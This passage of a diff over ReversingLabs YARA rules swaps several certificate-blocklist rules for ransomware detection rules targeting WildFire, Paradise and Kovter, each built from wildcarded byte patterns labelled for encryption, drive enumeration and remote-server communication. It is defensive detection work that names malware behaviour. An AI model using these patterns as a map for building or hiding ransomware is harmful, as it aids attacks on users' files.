?? 48 89 + 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8B C7 48 8B D3 49 8B + CC E8 ?? ?? ?? ?? 49 03 F5 49 03 FF 49 3B F6 7C ?? 4C 8B A5 ?? ?? ?? ?? 4C 8B 6C 24 + ?? 48 8D 35 ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 4C 8B C3 48 8B 95 + ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 4D 8B C4 + 48 8D 95 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48 + 85 D2 74 ?? 48 8B FA 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B CA E8 ?? ?? ?? ?? 90 4D 85 ED + 74 ?? 49 8B FD 33 C0 B9 ?? ?? ?? ?? F3 AA 49 8B CD E8 ?? ?? ?? ?? 90 48 89 74 24 ?? + 4C 89 74 24 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CHAIKA, TOV" and ( pe.signatures [ i ] . serial == "00:c0:4f:8f:1e:00:c6:9e:96:a5:1b:f1:4a:ab:1c:6a:e0" or pe.signatures [ i ] . serial == "c0:4f:8f:1e:00:c6:9e:96:a5:1b:f1:4a:ab:1c:6a:e0" ) and 1551398400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $find_files ) and ( all of ( $find_system_volumes_v1_p* ) ) and ( all of ( $set_default_icon_p* ) ) and ( $cmd_prompt ) and ( $exclude_from_encryption ) and ( $encrypt_files_v1 ) ) or ( ( $find_files ) and ( $cmd_prompt ) and ( $find_system_volumes_v2 ) and ( $drop_ransom_note ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_23F537Ce13C6Cccdfd3F8Ce81Fb981Cb : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wildfire : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects WildFire ransomware." author = "ReversingLabs" - id = "f48b7818-5b34-5609-822a-39a2e7fb44c5" - date = "2020-08-05" - modified = "2023-11-08" + id = "0c44f017-703c-5db7-b777-62fcd181af9a" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3434-L3450" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.WildFire.yara#L1-L77" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d347bce3eddd0cac276a7504955f0342ae44fd93d238e514af5b1fdc208b68fc" + logic_hash = "d3be2eac7967853aae6e1317d9c22d95a3dc4b3e5bf8acbe97a7bbeabc9eab38" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "WildFire" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 00 02 19 17 73 ?? ?? ?? ?? 0A 1B 8D ?? ?? ?? ?? 25 16 02 16 02 [5-10] 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? A2 25 17 [5-10] A2 25 18 7E ?? ?? ?? ?? A2 25 19 [5-10] A2 25 1A 02 02 + [5-10] 6F ?? ?? ?? ?? 17 D6 6F ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0B 07 [5-10] 28 ?? ?? ?? + ?? 1A 18 73 ?? ?? ?? ?? 0C 08 21 00 00 00 00 00 00 00 00 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? + 8D ?? ?? ?? ?? 0D 21 00 00 00 00 00 00 00 00 13 ?? 06 6F ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? + ?? 13 ?? 08 11 ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? + 2B ?? 06 09 16 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 09 16 11 ?? 6F ?? ?? ?? ?? 11 + ?? 11 ?? 6A D6 13 ?? 11 ?? 11 ?? FE ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 08 + 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 D6 80 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ?? + ?? 28 ?? ?? ?? ?? DE ?? 2A + } + $enum_drives = { + 00 00 28 ?? ?? ?? ?? 1F ?? 0A 18 0C 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 0C 28 ?? ?? ?? ?? 0D 1A + 0C 09 13 ?? 16 13 ?? 11 ?? 11 ?? 8E 69 FE ?? 2C ?? 11 ?? 11 ?? 9A 13 ?? 1B 0C 11 ?? + 6F ?? ?? ?? ?? 2C ?? 1C 0C 11 ?? 6F ?? ?? ?? ?? 19 FE ?? 16 FE ?? 65 18 60 1A 60 11 + ?? 6F ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? ?? ?? ?? FE ?? 16 FE ?? 65 5F 16 FE ?? 2C ?? 1D + 0C 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1E 0C 11 ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B + } + $file_search = { + A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] + A2 25 20 ?? ?? ?? ?? [5-10] A2 25 20 ?? ?? ?? ?? [5-10] A2 0D 19 0C 19 8D ?? ?? ?? ?? + 25 16 [5-10] A2 25 17 [5-10] A2 25 18 [5-10] A2 13 04 1A 0C 02 28 ?? ?? ?? ?? 13 ?? 1B + 0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? (30 | 3D) [1-4] 1C 0C 11 ?? 11 ?? 9A 28 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1D 0C 09 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 9A [5-10] 6F + ?? ?? ?? ?? 16 FE ?? 5F 11 ?? 11 ?? 9A 1F ?? 28 ?? ?? ?? ?? [5-10] 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 16 FE ?? 5F 11 ?? [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 5F 2C ?? 1E 0C 11 ?? 11 ?? + 9A 28 ?? ?? ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? (38 | 2B) [1-4] 1F ?? 0C 02 28 ?? ?? ?? ?? + 13 ?? 1F ?? 0C 11 ?? 8E 69 17 DA 13 ?? 16 13 ?? 11 ?? 11 ?? 30 ?? 1F ?? 0C 11 ?? 11 ?? + 11 ?? 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE ?? 2C ?? 1F ?? 0C 11 ?? 11 ?? 9A 28 ?? ?? + ?? ?? 1F ?? 0C 11 ?? 17 D6 13 ?? 2B ?? 1F ?? 0C 02 17 8D ?? ?? ?? ?? 25 16 1F ?? 9D 6F + ?? ?? ?? ?? 8E 69 17 DA 18 FE ?? 16 FE ?? 2C ?? 1F ?? 0C 02 16 28 ?? ?? ?? ?? DD ?? ?? + ?? ?? 07 17 58 16 0B 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? + ?? ?? ?? ?? ?? ?? ?? ?? ?? DE + } + $remote_server_communication_1 = { + 00 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? 9A [5-10] 28 ?? + ?? ?? ?? 0B 02 [5-10] 16 28 ?? ?? ?? ?? 16 FE ?? 3A ?? ?? ?? ?? 02 [5-10] 16 28 ?? ?? ?? + ?? 16 FE ?? 39 ?? ?? ?? ?? 1D 8D ?? ?? ?? ?? 25 16 [5-10] A2 25 17 02 A2 25 18 [5-10] A2 + 25 19 7E ?? ?? ?? ?? A2 25 1A [5-10] A2 25 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1C [5-10] + A2 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? + [5-10] 11 ?? 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 07 + 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? 13 ?? 11 ?? [5-10] 6F ?? ?? ?? ?? 11 ?? [5-10] 6F ?? ?? ?? ?? + 11 ?? 11 ?? 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? + ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? + 74 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ISECURE GROUP PTY LTD" and pe.signatures [ i ] . serial == "23:f5:37:ce:13:c6:cc:cd:fd:3f:8c:e8:1f:b9:81:cb" and 1566086400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $enum_drives and $file_search and $encrypt_files and $remote_server_communication_1 } - -rule REVERSINGLABS_Cert_Blocklist_73Ecfdbb99Aec176Ddfcf7958D120E1A : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Paradise : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Paradise ransomware." author = "ReversingLabs" - id = "84e20878-e4ea-53a5-9c1b-04f3c66276de" - date = "2020-08-05" - modified = "2023-11-08" + id = "9a92a05c-5f26-59ed-9934-a24bb7c31d8d" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3452-L3468" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Paradise.yara#L1-L81" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d911156707cef97acf79c096b5d4a4db166ddf05237168f1ecffb0c0a2ebd8fa" + logic_hash = "fc029bee999ec72416ac91d8386d4d270070035ad078bcab1dec11eea032c10b" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Paradise" + tc_detection_factor = 5 importance = 25 + strings: + $search_files = { + 53 56 57 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 89 75 ?? 85 F6 + 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 56 FF + D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? + ?? ?? 83 65 ?? ?? 8B 45 ?? 8B 74 85 ?? 8D 95 ?? ?? ?? ?? 85 F6 74 ?? 0F B7 02 83 F8 + ?? 72 ?? 8D 48 ?? 83 F8 ?? 76 ?? 8B C8 0F B7 06 83 F8 ?? 72 ?? 83 F8 ?? 77 ?? 83 C0 + ?? 3B C8 0F B7 02 75 ?? 66 85 C0 74 ?? 83 C2 ?? 83 C6 ?? EB ?? 0F B7 02 EB ?? 66 3B + 06 1B C0 83 E0 ?? 40 EB ?? 33 C0 85 C0 0F 84 ?? ?? ?? ?? FF 45 ?? 83 7D ?? ?? 72 ?? + 8B 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 56 FF D7 83 C4 ?? F6 85 ?? + ?? ?? ?? ?? 74 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 80 3D ?? ?? ?? ?? ?? 74 ?? BA + ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? EB ?? F6 85 ?? ?? ?? + ?? ?? 74 ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 85 C0 75 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? + ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 68 + ?? ?? ?? ?? 53 FF 75 ?? FF D7 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ?? + ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3 + } + $encrypt_files_p1 = { + 56 57 6A ?? BE ?? ?? ?? ?? 5F E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 56 E8 ?? ?? + ?? ?? 83 C4 ?? 83 C6 ?? 4F 75 ?? 33 F6 39 75 ?? 74 ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 0F + B7 88 ?? ?? ?? ?? 56 56 51 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 59 89 4D + ?? 33 C0 8A 90 ?? ?? ?? ?? 88 90 ?? ?? ?? ?? 3B C6 75 ?? 33 C0 40 3B C1 72 ?? 68 ?? + ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 5F 5E C9 C3 56 FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 + } + $encrypt_files_p2 = { + 53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB + 53 53 8D 44 24 ?? 50 89 5C 24 ?? FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 44 + 24 ?? 50 FF D6 85 C0 75 ?? 89 5C 24 ?? 39 5C 24 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 0F B6 80 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF + 74 24 ?? E8 ?? ?? ?? ?? 59 53 FF 74 24 ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 53 53 + 53 53 C6 05 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 88 1D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 59 33 C0 88 98 ?? ?? ?? ?? 3B C3 75 ?? 33 C0 40 83 F8 ?? 72 ?? 6A ?? 5E + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 53 53 8D 44 24 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 4E 75 ?? 8B 3D ?? + ?? ?? ?? 81 C7 ?? ?? ?? ?? 6A ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 75 ?? 57 E8 + ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 + } + $http_remote_connection = { + 53 56 57 FF 75 ?? 33 FF 8D 75 ?? 89 7D ?? E8 ?? ?? ?? ?? 59 89 7D ?? 57 57 57 FF 75 + ?? 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 FF 75 ?? + FF 75 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ?? 57 + 0F 95 C1 B8 ?? ?? ?? ?? 49 23 C8 03 C8 51 57 57 57 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 8B D8 3B DF 74 ?? 57 57 57 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 + F6 57 57 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C6 3B C7 + 75 ?? 89 7D ?? EB ?? 50 39 7D ?? 75 ?? E8 ?? ?? ?? ?? 59 EB ?? FF 75 ?? 6A ?? FF 15 + ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 C6 50 53 + FF 15 ?? ?? ?? ?? 03 75 ?? 39 7D ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? + ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39 7D ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9 + ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B + C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MHOW PTY LTD" and pe.signatures [ i ] . serial == "73:ec:fd:bb:99:ae:c1:76:dd:fc:f7:95:8d:12:0e:1a" and 1566864000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $search_files and $http_remote_connection and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_675129Bb174A5B05E330Cc09F8Bbd70A : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Kovter : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Kovter ransomware." author = "ReversingLabs" - id = "97046206-efc4-58dd-a9df-4966bad3902d" - date = "2020-08-05" - modified = "2023-11-08" + id = "9362ac5a-0b6c-5ac5-ac2b-59dcc1191dc6" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3470-L3486" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Kovter.yara#L1-L141" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d989ea5233e8a64bffa0e29645c3458ef1f5173158ced7814c3b473b92ef49f4" + logic_hash = "3082e036b54a73ce8397cfa6e8dc2a807c587d9f17286e75af6cdbe622fae1e1" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Kovter" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D + ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? + 89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 8B 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 80 38 ?? 74 + ?? 8B CE 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 + 89 45 ?? 33 C0 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 75 ?? B3 ?? 8D 45 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? + ?? ?? ?? 5A 2B C2 83 C0 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ?? + 8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D + 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? + 8B D0 42 8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? + ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 + ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D + } + $remote_connection_2 = { + 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0D ?? ?? + ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A + ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 + ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? + ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? + 83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF + 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D + 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 + ?? 0D ?? ?? ?? ?? 0D ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 8D 45 ?? 50 6A ?? 8B 45 ?? 50 + E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? + ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? + ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55 ?? E8 ?? ?? ?? ?? 8B + 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 50 E8 ?? ?? ?? + ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? + ?? ?? 48 0F 8E ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 + 85 FF 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B + } + $remote_connection_3 = { + 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? + ?? 8D 45 ?? E8 ?? 